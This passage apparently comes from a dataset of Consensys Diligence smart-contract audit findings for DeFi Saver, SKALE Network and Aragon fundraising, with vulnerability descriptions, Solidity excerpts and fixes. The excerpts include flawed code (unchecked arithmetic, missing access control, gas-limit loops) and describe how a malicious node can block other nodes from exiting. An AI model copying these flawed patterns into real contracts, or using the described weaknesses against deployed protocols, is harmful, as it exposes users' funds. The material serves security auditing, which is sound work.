"https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.6 Kyber getRates code is unclear ", "body": " Description In contracts/exchangeV3/wrappersV3/KyberWrapperV3.sol the function names don t reflect their true functionalities, and the code uses some undocumented assumptions. Examples getSellRate can be converted into one function to get the rates, which then for buy or sell can swap input and output tokens getBuyRate uses a 3% slippage that is not documented. function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(IERC20(_srcAddr), IERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint rate) { uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount, _additionalData); uint256 srcAmount = wmul(srcRate, _destAmount); rate = getSellRate(_srcAddr, _destAddr, srcAmount, _additionalData); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); Recommendation Refactoring the code to separate getting rate functionality with getSellRate and getBuyRate. Explicitly document any assumptions in the code ( slippage, etc) ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.7 Missing check in IOffchainWrapper.takeOrder implementation ", "body": " Description IOffchainWrapper.takeOrder wraps an external call that is supposed to perform a token swap. As for the two different implementations ZeroxWrapper and ScpWrapper this function validates that the destination token balance after the swap is greater than the value before. However, it is not sufficient, and the user-provided minimum amount for swap should be taken in consideration as well. Besides, the external contract should not be trusted upon, and SafeMath should be used for the subtraction operation. Examples code/contracts/exchangeV3/offchainWrappersV3/ZeroxWrapper.sol:L42-L50 uint256 tokensBefore = _exData.destAddr.getBalance(address(this)); (success, ) = _exData.offchainData.exchangeAddr.call{value: _exData.offchainData.protocolFee}(_exData.offchainData.callData); uint256 tokensSwaped = 0; if (success) { // get the current balance of the swaped tokens tokensSwaped = _exData.destAddr.getBalance(address(this)) - tokensBefore; require(tokensSwaped > 0, ERR_TOKENS_SWAPED_ZERO); code/contracts/exchangeV3/offchainWrappersV3/ScpWrapper.sol:L43-L51 uint256 tokensBefore = _exData.destAddr.getBalance(address(this)); (success, ) = _exData.offchainData.exchangeAddr.call{value: _exData.offchainData.protocolFee}(_exData.offchainData.callData); uint256 tokensSwaped = 0; if (success) { // get the current balance of the swaped tokens tokensSwaped = _exData.destAddr.getBalance(address(this)) - tokensBefore; require(tokensSwaped > 0, ERR_TOKENS_SWAPED_ZERO); ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.8 Unused code present in the codebase ", "body": " Resolution Some of the unused code were removed in DecenterApps/defisaver-v3-contracts@61b0c09. Description There are a few instances of unused code (dead code) in the code base, that is suggested to be removed . Examples DFSExchange.sol contract is not used /contracts/utils/ZrxAllowlist.sol these functions are not used in the codebase: nonPayableAddrs mapping addNonPayableAddr() removeNonPayableAddr() isNonPayableAddr() DSProxy.execute(bytes memory _code, bytes memory _data) is not intended to used. There might be more instances of unused code in the codebase. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.9 Return values not used for DFSExchangeCore.onChainSwap ", "body": " Description Return values from DFSExchangeCore.onChainSwap are not used. Examples code/contracts/exchangeV3/DFSExchangeCore.sol:L37-L73 function _sell(ExchangeData memory exData) internal returns (address, uint256) { uint256 amountWithoutFee = exData.srcAmount; address wrapper = exData.offchainData.wrapper; bool offChainSwapSuccess; uint256 destBalanceBefore = exData.destAddr.getBalance(address(this)); // Takes DFS exchange fee exData.srcAmount -= getFee( exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider ); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (offChainSwapSuccess, ) = offChainSwap(exData, ExchangeActionType.SELL); // fallback to desired wrapper if 0x failed if (!offChainSwapSuccess) { onChainSwap(exData, ExchangeActionType.SELL); wrapper = exData.wrapper; uint256 destBalanceAfter = exData.destAddr.getBalance(address(this)); uint256 amountBought = sub(destBalanceAfter, destBalanceBefore); // check slippage require(amountBought >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); // revert back exData changes to keep it consistent exData.srcAmount = amountWithoutFee; return (wrapper, amountBought); code/contracts/exchangeV3/DFSExchangeCore.sol:L79-L117 function _buy(ExchangeData memory exData) internal returns (address, uint256) { require(exData.destAmount != 0, ERR_DEST_AMOUNT_MISSING); uint256 amountWithoutFee = exData.srcAmount; address wrapper = exData.offchainData.wrapper; bool offChainSwapSuccess; uint256 destBalanceBefore = exData.destAddr.getBalance(address(this)); // Takes DFS exchange fee exData.srcAmount -= getFee( exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider ); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (offChainSwapSuccess, ) = offChainSwap(exData, ExchangeActionType.BUY); // fallback to desired wrapper if 0x failed if (!offChainSwapSuccess) { onChainSwap(exData, ExchangeActionType.BUY); wrapper = exData.wrapper; uint256 destBalanceAfter = exData.destAddr.getBalance(address(this)); uint256 amountBought = sub(destBalanceAfter, destBalanceBefore); // check slippage require(amountBought >= exData.destAmount, ERR_SLIPPAGE_HIT); // revert back exData changes to keep it consistent exData.srcAmount = amountWithoutFee; return (wrapper, amountBought); Recommendation The return value can be used for verification of the swap or used in the event data. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.10 Return value is not used for TokenUtils.withdrawTokens ", "body": " Resolution Fixed in DecenterApps/defisaver-v3-contracts@37dabff by storing the return value locally and use its value throughout the execution. Description The return value of TokenUtils.withdrawTokens which represents the actual amount of tokens that were transferred is never used throughout the repository. This might cause discrepancy in the case where the original value of _amount was type(uint256).max. Examples code/contracts/actions/aave/AaveBorrow.sol:L70-L97 function _borrow( address _market, address _tokenAddr, uint256 _amount, uint256 _rateMode, address _to, address _onBehalf ) internal returns (uint256) { ILendingPoolV2 lendingPool = getLendingPool(_market); // defaults to onBehalf of proxy if (_onBehalf == address(0)) { _onBehalf = address(this); lendingPool.borrow(_tokenAddr, _amount, _rateMode, AAVE_REFERRAL_CODE, _onBehalf); _tokenAddr.withdrawTokens(_to, _amount); logger.Log( address(this), msg.sender, \"AaveBorrow\", abi.encode(_market, _tokenAddr, _amount, _rateMode, _to, _onBehalf) ); return _amount; code/contracts/utils/TokenUtils.sol:L46-L53 function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); Recommendation The return value can be used to validate the withdrawal or used in the event emitted. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.11 Missing access control for DefiSaverLogger.Log", "body": " Description DefiSaverLogger is used as a logging aggregator within the entire dapp, but anyone can create logs. Examples code/contracts/utils/DefisaverLogger.sol:L14-L21 function Log( address _contract, address _caller, string memory _logName, bytes memory _data ) public { emit LogEvent(_contract, _caller, _logName, _data); 6 Recommendations ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "6.1 Use a single file for all system-wide constants", "body": " Description There are many addresses and constants using in the system. It is suggested to put the most used ones in one file (e.g. constants.sol and use inheritance to access these values. This will help with the readability and easier maintenance for future changes. As some of these hardcoded values are admin addresses, this also helps with any possible incident response. Examples Logger: DFSRegistry TaskExecutor ActionBase DefisaverLogger public constant logger = DefisaverLogger( 0x5c55B921f590a89C1Ebe84dF170E655a82b62126 ); Admin Vault: AdminAuth AdminVault public constant adminVault = AdminVault(0xCCf3d848e08b94478Ed8f46fFead3008faF581fD); REGISTRY_ADDR SubscriptionProxy StrategyExecutor TaskExecutor ActionBase address public constant REGISTRY_ADDR = 0xB0e1682D17A96E8551191c089673346dF7e1D467; Any other constant in the system also can be moved to this contract. Recommendation Use constants.sol and import this file in the contracts that require access to these values. This is just a recommendation, as discussed with the team, on some use cases this might result in higher gas usage on deployment. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "6.2 Code quality & Styling", "body": " Description Here are some examples that the code style does not follow the best practices: Examples Public/external function names should not be prefixed with _ code/contracts/core/TaskExecutor.sol:L56 function _executeActionsFromFL(Task memory _currTask, bytes32 _flAmount) public payable { Function parameters are being overriden code/contracts/exchangeV3/DFSExchange.sol:L24-L37 function sell(ExchangeData memory exData, address payable _user) public payable { exData.dfsFeeDivider = SERVICE_FEE; exData.user = _user; // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, \"ExchangeSell\", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); MAX_SERVICE_FEE should be MIN_SERVICE_FEE code/contracts/utils/Discount.sol:L28-L33 function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, \"Only owner\"); require(_fee >= MAX_SERVICE_FEE || _fee == 0, \"Wrong fee value\"); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); Functions with a get prefix should not modify state code/contracts/exchangeV3/DFSExchangeCore.sol:L182-L206 function getFee( uint256 _amount, address _user, address _token, uint256 _dfsFeeDivider ) internal returns (uint256 feeAmount) { if (_dfsFeeDivider != 0 && Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_user)) { _dfsFeeDivider = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_user); if (_dfsFeeDivider == 0) { feeAmount = 0; } else { feeAmount = _amount / _dfsFeeDivider; // fee can't go over 10% of the whole amount if (feeAmount > (_amount / 10)) { feeAmount = _amount / 10; address walletAddr = feeRecipient.getFeeAddr(); _token.withdrawTokens(walletAddr, feeAmount); Protocol fee value should be validated against msg.value and not against contract s balance code/contracts/exchangeV3/offchainWrappersV3/ZeroxWrapper.sol:L25-L31 function takeOrder( ExchangeData memory _exData, ExchangeActionType _type ) override public payable returns (bool success, uint256) { // check that contract have enough balance for exchange and protocol fee require(_exData.srcAddr.getBalance(address(this)) >= _exData.srcAmount, ERR_SRC_AMOUNT); require(TokenUtils.ETH_ADDR.getBalance(address(this)) >= _exData.offchainData.protocolFee, ERR_PROTOCOL_FEE); Remove deprecation warning (originated in OpenZeppelin s implementation) in comment, as the issue has been solved code/contracts/utils/SafeERC20.sol:L33-L44 /** @dev Deprecated. This function has issues similar to the ones found in {ERC20-approve}, and its usage is discouraged. / function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); Typo RECIPIE_FEE instead of RECIPE_FEE code/contracts/actions/exchange/DfsSell.sol:L15 uint internal constant RECIPIE_FEE = 400; Code duplication : sendLeftOver is identical both in UniswapWrapperV3 and in KyberWrapperV3, and thus can be shared in a base class. code/contracts/exchangeV3/wrappersV3/KyberWrapperV3.sol:L127-L133 function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { IERC20(_srcAddr).safeTransfer(msg.sender, IERC20(_srcAddr).balanceOf(address(this))); Code duplication : sliceUint function is identical both in DFSExchangeHelper and in DFSPrices DFSPricesV3.getBestPrice, DFSPricesV3.getExpectedRate should be view functions Fix the code comments from User borrows tokens to to User borrows tokens from code/contracts/actions/aave/AaveBorrow.sol:L63-L77 /// @notice User borrows tokens to the Aave protocol /// @param _market Address provider for specific market /// @param _tokenAddr The address of the token to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _rateMode Send 1 for stable rate and 2 for variable /// @param _to The address we are sending the borrowed tokens to /// @param _onBehalf From what user we are borrow the tokens, defaults to proxy function _borrow( address _market, address _tokenAddr, uint256 _amount, uint256 _rateMode, address _to, address _onBehalf ) internal returns (uint256) { code/contracts/actions/compound/CompBorrow.sol:L51-L59 /// @notice User borrows tokens to the Compound protocol /// @param _cTokenAddr Address of the cToken we are borrowing /// @param _amount Amount of tokens to be borrowed /// @param _to The address we are sending the borrowed tokens to function _borrow( address _cTokenAddr, uint256 _amount, address _to ) internal returns (uint256) { IExchangeV3.sell, IExchangeV3.buy should not be payable TaskExecutor._executeAction should not forward contract s balance within the IDSProxy.execute call, as the funds are being sent to the same contract. code/contracts/core/TaskExecutor.sol:L90-L105 function _executeAction( Task memory _currTask, uint256 _index, bytes32[] memory _returnValues ) internal returns (bytes32 response) { response = IDSProxy(address(this)).execute{value: address(this).balance}( registry.getAddr(_currTask.actionIds[_index]), abi.encodeWithSignature( \"executeAction(bytes[],bytes[],uint8[],bytes32[])\", _currTask.callData[_index], _currTask.subData[_index], _currTask.paramMapping[_index], _returnValues ); Unsafe arithmetic operations code/contracts/actions/compound/CompClaim.sol:L73 uint256 compClaimed = compBalanceAfter - compBalanceBefore; code/contracts/actions/compound/CompWithdraw.sol:L84 _amount = tokenBalanceAfter - tokenBalanceBefore; code/contracts/actions/uniswap/UniSupply.sol:L82-L83 _uniData.tokenA.withdrawTokens(_uniData.to, (_uniData.amountADesired - amountA)); _uniData.tokenB.withdrawTokens(_uniData.to, (_uniData.amountBDesired - amountB)); code/contracts/actions/flashloan/FLAaveV2.sol:L125-L133 IDSProxy(proxy).execute{value: address(this).balance}( taskExecutor, abi.encodeWithSelector(CALLBACK_SELECTOR, currTask, bytes32(_amounts[0] + _fees[0])) ); // return FL for (uint256 i = 0; i < _assets.length; i++) { _assets[i].approveToken(address(AAVE_LENDING_POOL), _amounts[i] + _fees[i]); code/contracts/exchangeV3/DFSExchangeCore.sol:L45 exData.srcAmount -= getFee( code/contracts/exchangeV3/offchainWrappersV3/ZeroxWrapper.sol:L48 tokensSwaped = _exData.destAddr.getBalance(address(this)) - tokensBefore; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "6.3 Gas optimization", "body": " Description Use address(this) instead of external call for registry when possible. Examples code/contracts/actions/flashloan/FLAaveV2.sol:L82-L102 function _flAaveV2(FLAaveV2Data memory _flData, bytes memory _params) internal returns (uint) { ILendingPoolV2(AAVE_LENDING_POOL).flashLoan( payable(registry.getAddr(FL_AAVE_V2_ID)), _flData.tokens, _flData.amounts, _flData.modes, _flData.onBehalfOf, _params, AAVE_REFERRAL_CODE ); logger.Log( address(this), msg.sender, \"FLAaveV2\", abi.encode(_flData.tokens, _flData.amounts, _flData.modes, _flData.onBehalfOf) ); return _flData.amounts[0]; code/contracts/actions/flashloan/dydx/FLDyDx.sol:L76-L107 function _flDyDx( uint256 _amount, address _token, bytes memory _data ) internal returns (uint256) { address payable receiver = payable(registry.getAddr(FL_DYDX_ID)); ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(SOLO_MARGIN_ADDRESS, _token); uint256 repayAmount = _getRepaymentAmountInternal(_amount); IERC20(_token).safeApprove(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _amount, receiver); operations[1] = _getCallAction(_data, receiver); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); logger.Log(address(this), msg.sender, \"FLDyDx\", abi.encode(_amount, _token)); return _amount; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.1 Every node gets a full validator s bounty ", "body": " Resolution This issue is addressed in Bug/skale 3273 formula fix 435 and SKALE-3273 Fix BountyV2 populating error 438. The main change is related to how bounties are calculated for each validator. Below are a few notes on these pull requests: nodesByValidator mapping is no longer used in the codebase and the non-zero values are deleted when calculateBounty() is called for a specific validator. The mapping is kept in the code for compatible storage layout in upgradable proxies. Some functions such as populate() was developed for the transition to the upgraded contracts (rewrite _effectiveDelegatedSum values based on the new calculation formula). This function is not part of this review and will be removed in the future updates. Unlike the old architecture, nodesByValidator[validatorId] is no longer used within the system to calculate _effectiveDelegatedSum and bounties. This is replaced by using overall staked amount and duration. If a validator does not claim their bounty during a month, it is considered as a misbehave and her bounty goes to the bounty pool for the next month. Description To get the bounty, every node calls the getBounty function of the SkaleManager contract. This function can be called once per month. The size of the bounty is defined in the BountyV2 contract in the _calculateMaximumBountyAmount function: code/contracts/BountyV2.sol:L213-L221 return epochPoolSize .add(_bountyWasPaidInCurrentEpoch) .mul( delegationController.getAndUpdateEffectiveDelegatedToValidator( nodes.getValidatorId(nodeIndex), currentMonth .div(effectiveDelegatedSum); The problem is that this amount actually represents the amount that should be paid to the validator of that node. But each node will get this amount. Additionally, the amount of validator s bounty should also correspond to the number of active nodes, while this formula only uses the amount of delegated funds. Recommendation Every node should get only their parts of the bounty. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.2 A node exit prevents some other nodes from exiting for some period Pending", "body": " Resolution Skale team s comment: Description When a node wants to exit, the nodeExit function should be called as many times, as there are schains in the node. Each time one schain is getting removed from the node. During every call, all the active schains are getting frozen for 12 hours. code/contracts/NodeRotation.sol:L84-L105 function freezeSchains(uint nodeIndex) external allow(\"SkaleManager\") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract(\"SchainsInternal\")); bytes32[] memory schains = schainsInternal.getActiveSchains(nodeIndex); for (uint i = 0; i < schains.length; i++) { Rotation memory rotation = rotations[schains[i]]; if (rotation.nodeIndex == nodeIndex && now < rotation.freezeUntil) { continue; string memory schainName = schainsInternal.getSchainName(schains[i]); string memory revertMessage = \"Node cannot rotate on Schain \"; revertMessage = revertMessage.strConcat(schainName); revertMessage = revertMessage.strConcat(\", occupied by Node \"); revertMessage = revertMessage.strConcat(rotation.nodeIndex.uint2str()); string memory dkgRevert = \"DKG process did not finish on schain \"; ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract(\"SkaleDKG\")); require( skaleDKG.isLastDKGSuccessful(keccak256(abi.encodePacked(schainName))), dkgRevert.strConcat(schainName)); require(rotation.freezeUntil < now, revertMessage); _startRotation(schains[i], nodeIndex); Because of that, no other node that is running one of these schains can exit during that period. In the worst-case scenario, one malicious node has 128 Schains and calls nodeExit every 12 hours. That means that some nodes will not be able to exit for 64 days. Recommendation Make node exiting process less synchronous. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.3 Removing a node require multiple transactions and may be very expensive Pending", "body": " Resolution Skale team s comment: Description When removing a node from the network, the owner should redistribute all the schains that are currently on that node to the other nodes. To do so, the validator should call the nodeExit function of the SkaleManager contract. In this function, only one schain is going to be removed from the node. So the node would have to call the nodeExit function as many times as there are schains in the node. Every call iterates over every potential node that can be used as a replacement (like in https://github.com/ConsenSys/skale-network-audit-2020-10/issues/3). In addition to that, the first call will iterate over all schains in the node, make 4 SSTORE operations and external calls for each schain: code/contracts/NodeRotation.sol:L204-L210 function _startRotation(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract(\"ConstantsHolder\")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].newNodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); waitForNewNode[schainIndex] = true; This may hit the block gas limit even easier than issue 5.4. If the first transaction does not hit the block s gas limit, the maximum price of deleting a node would be BLOCK_GAS_COST * 128. At the moment, it s around $50,000. Recommendation Optimize the process of deleting a node, so it can t hit the gas limit in one transaction, and the overall price should be cheaper. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.4 Adding a new schain may potentially hit the gas limit Pending", "body": " Resolution Skale team s comment: Description When adding a new schain, a group of random 16 nodes is randomly selected to run that schain. In order to do so, the _generateGroup function iterates over all the nodes that can be used for that purpose: code/contracts/SchainsInternal.sol:L522-L541 function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract(\"Nodes\")); uint8 space = schains[schainId].partOfNode; nodesInGroup = new uint[](numberOfNodes); uint[] memory possibleNodes = isEnoughNodes(schainId); require(possibleNodes.length >= nodesInGroup.length, \"Not enough nodes to create Schain\"); uint ignoringTail = 0; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId))); for (uint i = 0; i < nodesInGroup.length; ++i) { uint index = random % (possibleNodes.length.sub(ignoringTail)); uint node = possibleNodes[index]; nodesInGroup[i] = node; _swap(possibleNodes, index, possibleNodes.length.sub(ignoringTail).sub(1)); ++ignoringTail; _exceptionsForGroups[schainId][node] = true; addSchainForNode(node, schainId); require(nodes.removeSpaceFromNode(node, space), \"Could not remove space from Node\"); If the total number of nodes exceeds around a few thousands, adding a schain may hit the block gas limit. Recommendation Avoid iterating over all nodes when selecting a random node for a schain. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.5 Typos ", "body": " Description There are a few typos in the contract source code. This could result in unforeseeable issues in the future development cycles. Examples succesful instead of successful: code/contracts/SkaleDKG.sol:L77-L78 mapping(bytes32 => uint) public lastSuccesfulDKG; code/contracts/SkaleDKG.sol:L372-L373 _setSuccesfulDKG(schainId); and many other instances of succesful through out the code. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.6 Redundant Checks in some flows", "body": " Description The workflows in the Skale network are complicated and multi layers (multiple calls to different modules). Some checks are done in this process that are redundant and can be removed, based on the current code and the workflow. Examples An example of this redundancy, is when completing a node exit procedure. completeExit() checks if the node status is leaving and if so continues: code/contracts/Nodes.sol:L309-L311 require(isNodeLeaving(nodeIndex), \"Node is not Leaving\"); _setNodeLeft(nodeIndex); However, in _setNodeLeft() it has an if clause for the status being Active, which will never be true. code/contracts/Nodes.sol:L795-L803 function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; Recommendation To properly check the code flows for unreachable code and remove redundant checks. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.7 Presence of empty function ", "body": " Resolution Implemented in Bug/skale 3273 formula fix 435. Description estimateBounty() is declared but neither implemented nor used in any part of the current code base. Examples code/contracts/BountyV2.sol:L142-L159 function estimateBounty(uint /* nodeIndex */) external pure returns (uint) { revert(\"Not implemented\"); // ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract(\"ConstantsHolder\")); // Nodes nodes = Nodes(contractManager.getContract(\"Nodes\")); // TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract(\"TimeHelpers\")); // uint stagePoolSize; // uint nextStage; // (stagePoolSize, nextStage) = _getEpochPool(timeHelpers.getCurrentMonth(), timeHelpers, constantsHolder); // return _calculateMaximumBountyAmount( // stagePoolSize, // nextStage.sub(1), // nodeIndex, // constantsHolder, // nodes // ); Recommendation It is suggested to remove dead code from the code base, or fully implement it before the next step. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "5.8 Presence of TODO tags in the codebase", "body": " Description A few TODO tags are present in the codebase. Examples code/contracts/SchainsInternal.sol:L153-L160 // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; code/contracts/SchainsInternal.sol:L294-L301 /** @dev Checks whether schain name is available. TODO Need to delete - copy of web3.utils.soliditySha3 / function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0) && !usedSchainNames[schainId]; code/contracts/Nodes.sol:L81-L89 // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; And a few others in test scripts. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/10/skale-network/"}, {"title": "6.1 Collaterals are not guaranteed to be returned after a batch is cancelled ", "body": " Resolution Fixed with AragonBlack/fundraising#162 Description When traders open buy orders, they also transfer collateral tokens to the market maker contract. If the current batch is going to be cancelled, there is a chance that these collateral tokens will not be returned to the traders. Examples If a current collateralsToBeClaimed value is zero on a batch initialization and in this new batch only buy orders are submitted, collateralsToBeClaimed value will still stay zero. At the same time if in Tap contract tapped amount was bigger than _maximumWithdrawal() on batch initialisation, _maximumWithdrawal() will most likely increase when the traders transfer new collateral tokens with the buy orders. And a beneficiary will be able to withdraw part of these tokens. Because of that, there might be not enough tokens to withdraw by the traders if the batch is cancelled. It s partially mitigated by having floor value in Tap contract, but if there are more collateral tokens in the batch than floor, the issue is still valid. Recommendation Ensure that tapped is not bigger than _maximumWithdrawal() ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.2 Fees can be changed during the batch ", "body": " Resolution Fixed with AragonBlack/fundraising@0941f53 by storing current fee in meta batch. Description Shareholders can vote to change the fees. For buy orders, fees are withdrawn immediately when order is submitted and the only risk is frontrunning by the shareholder s voting contract. For sell orders, fees are withdrawn when a trader claims an order and withdraws funds in _claimSellOrder function: code/apps/batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol:L790-L792 if (fee > 0) { reserve.transfer(_collateral, beneficiary, fee); Fees can be changed between opening order and claiming this order which makes the fees unpredictable. Recommendation Fees for an order should not be updated during its lifetime. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.3 Bancor formula should not be updated during the batch ", "body": " Resolution Fixed with AragonBlack/fundraising@a8c2e21 by storing a ref to the Formula with the meta batch. Description Shareholders can vote to change the bancor formula contract. That can make a price in the current batch unpredictable. code/apps/batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol:L212-L216 function updateFormula(IBancorFormula _formula) external auth(UPDATE_FORMULA_ROLE) { require(isContract(_formula), ERROR_CONTRACT_IS_EOA); _updateFormula(_formula); Recommendation Bancor formula update should be executed in the next batch or with a timelock that is greater than batch duration. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.4 Maximum slippage shouldn t be updated for the current batch ", "body": " Resolution Fixed with AragonBlack/fundraising@aa4f03e by storing slippage with the batch. Description When anyone submits a new order, the batch price is updated and it s checked whether the price slippage is acceptable. The problem is that the maximum slippage can be updated during the batch and traders cannot be sure that price is limited as they initially expected. code/apps/batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol:L487-L489 function _slippageIsValid(Batch storage _batch, address _collateral) internal view returns (bool) { uint256 staticPricePPM = _staticPricePPM(_batch.supply, _batch.balance, _batch.reserveRatio); uint256 maximumSlippage = collaterals[_collateral].slippage; Additionally, if a maximum slippage is updated to a lower value, some of the orders that should lower the current slippage will also revert. Recommendation Save a slippage value on batch initialization and use it during the current batch. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.5 AragonFundraisingController - an untapped address in toReset can block attempts of opening Trading after presale ", "body": " Resolution Fixed with AragonBlack/fundraising@9451147 by checking if token is tapped. Gas consumption is increased due to external call to Tap to check if token is actually tapped. The number of tokens to be reset is capped. Description AragonFundraisingController can be initialized with a list of token addresses _toReset that are to be reset when trading opens after the presale. These addresses are supposed to be addresses of tapped tokens. However, the list needs to be known when initializing the contract but the tapped tokens are added after initialization when calling addCollateralToken (and tapped with _rate>0). This can lead to an inconsistency that blocks openTrading. code/apps/aragon-fundraising/contracts/AragonFundraisingController.sol:L99-L102 for (uint256 i = 0; i < _toReset.length; i++) { require(_tokenIsContractOrETH(_toReset[i]), ERROR_INVALID_TOKENS); toReset.push(_toReset[i]); In case a token address makes it into the list of toReset tokens that is not tapped it will be impossible to openTrading as tap.resetTappedToken(toReset[i]); throws for untapped tokens. According to the permission setup in FundraisingMultisigTemplate only Controller can call Marketmaker.open code/apps/aragon-fundraising/contracts/AragonFundraisingController.sol:L163-L169 function openTrading() external auth(OPEN_TRADING_ROLE) { for (uint256 i = 0; i < toReset.length; i++) { tap.resetTappedToken(toReset[i]); marketMaker.open(); Recommendation Instead of initializing the Controller with a list of tapped tokens to be reset when trading opens, add a flag to addCollateralToken to indicate that the token should be reset when calling openTrading, making sure only tapped tokens are added to this list. This also allows adding tapped tokens that are to be reset at a later point in time. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.6 Tap payments inconsistency ", "body": " Resolution Fixed with AragonBlack/fundraising#162 Description Every time project managers want to withdraw tapped funds, the maximum amount of withdrawable funds is calculated in 